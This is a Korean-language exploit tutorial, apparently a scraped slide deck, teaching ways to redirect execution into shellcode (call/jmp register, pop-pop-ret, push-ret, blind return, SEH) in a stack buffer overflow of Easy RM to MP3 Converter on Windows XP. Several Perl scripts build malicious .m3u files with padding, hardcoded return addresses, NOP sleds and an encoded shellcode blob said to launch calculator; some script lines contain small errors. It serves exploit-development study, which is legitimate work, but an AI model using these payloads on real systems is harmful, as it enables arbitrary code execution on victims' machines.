12
JMP to shell 1` JMP to shell 쉘코드로 점프하는 방법 소속 Colony 이름 김동현 [email protected] http://binsect00.tistory.com 작성일 ’15.08.29

[Exploit]JMP to Shell - INSECT

Embed Size (px)

DESCRIPTION

JMP to Shell- Insect

Citation preview

Page 1: [Exploit]JMP to Shell - INSECT

JMP to shell

1 ̀

JMP to shell

쉘코드로 점프하는 방법

소속 Colony

이름 김동현

[email protected]

http://binsect00.tistory.com

작성일 ’15.08.29

Page 2: [Exploit]JMP to Shell - INSECT

JMP to shell

2

서론

취약한 부분을 찾고 shell code를 넣는다. 하지만 shellcode를 실행할 수 없

다면 무용지물인셈이다.

실습을 통하여 shell code로 점프 할 수 있는 여러 방법을 익히고 이해한다.

본론

환경 Microsoft Windows XP Service Pack 3

대상 Easy RM to MP3 Coverter

쉘코드를 실행시킬 수 있는 방법

1. JMP or CALL

기본적으로 쉘코드의 주소를 가진 레지스터를 사용한다. 그렇기 때문

에 애플리케이션에서 실행 될 때 로딩되는 DLL 중에서 해당 레지스

터로 JMP 하거나 CALL 하는 기계어를 찾아야 한다. 특정 레지스터

로 JMP하는 주소를 EIP에 넣을 필요가 있다.

2. pop/return

스택안에 쉘코드를 가리키는 주소가 있다면 pop/pop/…/ret 명령으로

EIP에 쉘코드 주소를 넣어 ret 함으로써 쉘코드를 로드 할 수 있다.

3. PUSH return

스택에 주소를 입력하고 ret를 해준다. ret 뒤따라오는 ‘PUSH

(register)’ 명령을 찾고,

4. JMP [reg+offset]

버퍼안에 쉘코드가 있지만 쉘코드의 시작 위치를 가리키지 않는다면

해당 위치로 점프하는 JMP [reg+offset]의 명령어를 찾아 JMP한다.

5. blind return

RET명령은 스택 끝의 4byte만큼 ‘pop’하고 ESP에 있는 값(주소)을

입력한다. 그러므로 공격자가 RET명령을 수행하는 주소로 EIP를 덮

게 되면, ESP에 저장된 내용을 EIP에 쓰는 결과를 볼 수 있다.

6. buffer

buffer가 한정적인 공간을 가지고 있다면 공격자는 제한된 용량을 가

지는 버퍼에서 여유 있는 용량을 가지는 버퍼에 대해 ‘점프 code’를

수행하여 여유공간에서 쉘을 작성한다.

7. SHE

모든 어플리케이션은 OS에 의해 제공되는 예외 처리기를 기본적으로

가지고 있다. 만약 어플리케이션 자신이 예외 처리를 사용하지 않는

다 하더라도, 공격자는 SHE 핸들러를 자신이 원하는 주소를 덮어쓰

고, 쉘코드로 점프를 수행하도록 할 수 있다.

Page 3: [Exploit]JMP to Shell - INSECT

jump to shell

3

Call [register]

레지스터에 쉘코드를 직접 가리키는 주소가 로드 되었다면, Call [reg]를

수행하면 된다. 즉, ESP 가 직접 쉘코드를 가리킨다면 ‘Call ESP’ 주소를 EIP에

덮어 쓰기만 하면 된다. 이 기법은 kernel32.dll 이 많은 CALL [reg] 주소들을

포함하고 있어 이용 가능한 레지스터들의 범위가 넓고, 많이 이용된다.

이것을 이용하여 이전 문서에서 다룬 Easy RM to MP3 crash에 적용하여 본다.

EIP 가 0x7c8369f0 로 채워져 esp 로 이동하여 쉘코드를 실행한 것을 알 수

있다.

Page 4: [Exploit]JMP to Shell - INSECT

jump to shell

4

POP/RET

쉘코드를 가리키는 레지스터가 단 하나도 없을 때, 쉘코드를 가리키는 주소는

스택의 어딘가에 담겨 있을 것이다. 스택에 쉘코드를 가리키는 주소가 있다면

pop/pop/…/ret 명령을 통해 스택에서 주소를 가져오고 쉘코드로 연결되는

주소로 점프하게 될 것이다.

‘pop/ret’ 기술은 ESP+offset 이 이미 쉘코드를 가리키는 주소를 담고 있을

때만 사용이 가능하다. ESP 를 덤프한 다음 쉘코드를 가르키는 명령이

존재하는지 확인하고 EIP 로 향하도록 pop/pop/…/ret 참조를 입력하도록 한다.

이에 스택에서 주소를 가져오고 EIP 안으로 다음에 수행해야 할 주소를

입력시킬 수 있다.

EIP 에는 입력한 ‘BBBB’의 문자가 입력되어있다. ESP 는 0x000ff730 을

가리키고 있고 0x000ff730 에 첫번째 break 가 걸려있고 0x000ff738 위치에

두번째 break 가 걸려있다.

my $file = "test3.m3u";

my $junk = "\x41" x 26094; #buffer

my $eip = "BBBB"; #eip 값

my $block = "\x90" x 4; #dummy 값 채우기위한 4byte

my $shellcode = "\xcc"; #첫번쨰 break

$shellcode = $shellcode."\x90" x 7;

$shellcode = $shellcode."\xcc"; #두번째 break

$shellcode = $shellcode."\x90" x 500;

open($FILE, ">$file");

print $FILE $junk.$eip.$block.$shellcode;

close($FILE);

print "m3u File Created Successfully \n";

Page 5: [Exploit]JMP to Shell - INSECT

jump to shell

5

여기서 우리는 두번째 break값 대신 쉘코드가 있는 주소로가는 명령이

존재한다면 pop 명령으로 ESP 를 증가시키고 ESP 로 JMP 를 한다면 쉘코드가

실행 될 것이다. pop 명령을 실행하게되면 상위스택에서 4byte 만큼 꺼내어

register 에 넣게 된다. 그리고 ESP 는 4byte 씩 증가하게된다. 즉 ESP+8 을

만들기 위해서는 2번의 pop 명령어와 ret 가 필요하다. pop [reg] 와 ret 를

넣기위하여 opcode 를 알아본다.

POP register opcode

pop eax 58

pop ebx 5b

pop ecx 59

pop edx 5a

pop esi 5e

pop ebp 5d

opcode 를 알았으니 이제 로드되는 dll 중에서 이 opcode 를 찾아야한다.

윈도우 플랫폼과 버전에 범용적으로 적용될 수 있는 공격 코드를 작성할 때는

애플리케이션의 dll 을 사용하는 것이 좋지만 애플리케이션의 dll 이 매번 로드

될 때 같은 베이스주소로 로드된다는 보장이 없다. 이러한 상황에서는 OS 에서

로드되는 DLL 을 사용하는 것이 더 좋을 수 있다.

MSRMCcode00.dll 에서 opcode pop eax / pop ebp / ret (58 5d c3)을 찾는다.

Page 6: [Exploit]JMP to Shell - INSECT

jump to shell

6

my $file = "test3.m3u";

my $junk = "\x41" x 26094; #buffer

my $eip = pack('V',0x01968da3); #pop / pop / ret

my $jmp_esp = pack('V',0x01b7f23a); # JMP ESP

my $block = "XXXX"; #dummy 값 채우기 4byte

$block =

block."1ABCDEFGHIJKLMNz2ABCDEFGHIJKLMNO3ABCDEFGHIJKLMNO4

ABCDEFGHIJKLMNO"; #stack 위치 알기 위한 임의의 값

my $shellcode = "\xcc"; #첫번쨰 break

$shellcode = "\x90"x30;

open($FILE, ">$file");

print $FILE $junk.$eip.$block.$shellcode;

close($FILE);

print "m3u File Created Successfully \n";

EIP 에 0x01968da3 주소값을 넣게되면 pop / pop / ret 가 수행이 된다. 첫번째

pop 이 실행되며 esp+4 가되고 두번째 pop 이 실행되면 esp+8 이 된다.

세번째로 ret 가 실행이 되면 최상위 스택에 있는 값으로 JMP 를 하며

esp+c 가 된다. 이에 따라 EIP 값에는 ‘FGHIJ’값이 들어가게 되고 esp는 기존

esp+c 가 되어 0x000ff730+c = 0x000ff73c 가 된다.

pop/pop/ret 에 의하여 JMP 할 부분에 JMP esp 명령을 넣어 esp 로 점프하게

하고 esp 인 0x000ff73c 에 ‘\cc’를 넣어 break가 되는지 알아본다.

my $file = "test3.m3u";

my $junk = "\x41" x 26094; #buffer

my $eip = pack('V',0x01968da3); #pop / pop / ret

my $jmp_esp = pack('V',0x01b7f23a); # JMP ESP

my $block = "XXXX"; #dummy 값 채우기 4byte

$block = block."1ABCDEF".$jmp_esp;

my $shellcode = "\xcc"; #첫번쨰 break

$shellcode = $shellcode."\x90"x30;

open($FILE, ">$file");

print $FILE $junk.$eip.$block.$shellcode;

close($FILE);

print "m3u File Created Successfully \n";

Page 7: [Exploit]JMP to Shell - INSECT

jump to shell

7

break 를 지우고 쉘을 넣는다. 이 때 밀리는 스택에 맞추어 NOP 을

추가해준다면 쉘이 실행된다.

my $file = "test3.m3u";

my $junk = "\x41" x 26094; #buffer

my $eip = pack('V',0x01968da3); #pop / pop / ret

my $jmp_esp = pack('V',0x01b7f23a); # JMP ESP

my $shellcode = "";

$shellcode = $shellcode. "\x90"x12;

$shellcode = $shellcode.$jmp_esp;

$shellcode = $shellcode. "\x90"x20;

$shellcode = $shellcode. "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

open($FILE, ">$file");

print $FILE $junk.$eip.$block.$shellcode;

close($FILE);

print "m3u File Created Successfully \n";

Page 8: [Exploit]JMP to Shell - INSECT

jump to shell

8

AAAAAAAAAAAA

……

AAAAAAAAAAAA

eip = 0x1968da3

NOP NOP NOP …

0x01b7f23a

0x000ff73c :

shell code

0x01968da3 :

pop eax (esp = esp+4 = 0x000ff734)

pop ebp (esp = esp+4 = 0x000ff738)

ret (JMP esp(0x000ff738) / esp = esp+4 = 0x000ff73c)

0x01b7f23a :

JMP esp(0x000ff73c)

Page 9: [Exploit]JMP to Shell - INSECT

jump to shell

9

PUSH return

‘PUSH ret’ 는 레지스터 중 하나가 쉘코드의 주소를 가리키고 있지만 특정한

이유로 인하여 ‘JMP [reg]’ 명령을 사용할 수 없을 때 사용한다.

1. 해당 레지스터의 주소를 스택에 삽입한다. 이렇게 될 경우 해당

주소는 스택의 최상위에 위치한다.

2. ret 명령을 수행하여 esp(이전에 입력한 주소)로 JMP 한다.

AAAAAAAAAAAAAAAA

……

AAAAAAAAAAAAAAAA

EIP = 0x19557f6

NOP NOP NOP …

Shell code

해당 쉘코드가 ESP 에 위치해 있다고 가정한다.

먼저 PUSH esp , ret opcode 를 찾고 이 주소를 EIP 에 덮어쓴다.

my $file = "test4.m3u";

my $junk = "\x41" x 26094; #buffer

my $eip = pack('V',0x019557f6); #push esp

my $bloc = "XXXX";

$shellcode = $shellcode. "\x90" x 50;

push esp

ret

Stack

0x000ff730

...

Page 10: [Exploit]JMP to Shell - INSECT

jump to shell

1 0

$shellcode = $shellcode .

"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

open($FILE, ">$file");

print $FILE $junk.$eip.$shellcode;

close($FILE);

print "m3u File Created Successfully \n";

해당 파일을 Load 하면 계산기가 실행되는 것을 볼 수 있다.

Page 11: [Exploit]JMP to Shell - INSECT

jump to shell

1 1

JMP [reg] + [offset]

문서 위의 POP / RET 의 예시처럼 쉘코드로 가기 위해 8 바이트를 점프해야

하는 상황이라고 가정한다.

이때 JMP reg+offset 기법을 사용하여 ESP 의 첫부분에서 8 바이트를

뛰어넘고 쉘코드를 실행 할 수 있다.

1. ‘JMP ESP+8h’ opcode 찾기

2. 위 명령어의 주소 찾기

3. EIP 에 덮어쓰기

먼저 JMP [esp+8] 의 opcode 를 찾는다..

애플리케이션에서 로드된 dll 에서 opcode 가 사용된 주소를 찾는다.

하지만 애플리케이션에서 로드된 dll 에서 해당 opcode 가 없음을 볼 수 있다.

우리는 ESP 를 조작할 수 있으므로 [esp+8] 대신 [esp+12] 을 찾을 수

있다면 4byte 를 NOP 으로 더 채워 쉘을 진행하게 하면 될 것이다.

이 프로그램 에서는 [esp+8], [esp+12], [esp+16]의 값이 없다.

Page 12: [Exploit]JMP to Shell - INSECT

jump to shell

1 2

Blind return

1. EIP 를 ret 명령을 가리키는 주소로 덮어 쓴다.

2. ESP 의 처음 4바이트에 있는 쉘코드의 주소를 하드 코딩한다.

ret 이 실행되면 가장 최근 스택에 입력된 4 바이트의 값이 스택에서 pop 되어

EIP 에 들어가게 된다.

Easy RM to MP3 프로그램의 ESP 는 0x000ff730 임을 알고 있다. ESP 는 null

바이트를 포함하고 있으며 페이로드를 작성하면 다음과 같은 형태를 띈다.

AAAAAAAA

……

AAAAAAAA

addr of ret

0x000fff730

shellcode

만약 EIP 가 null 바이트를 포함한다면 정상적으로 작동하지 않을 것을 알 수

있다.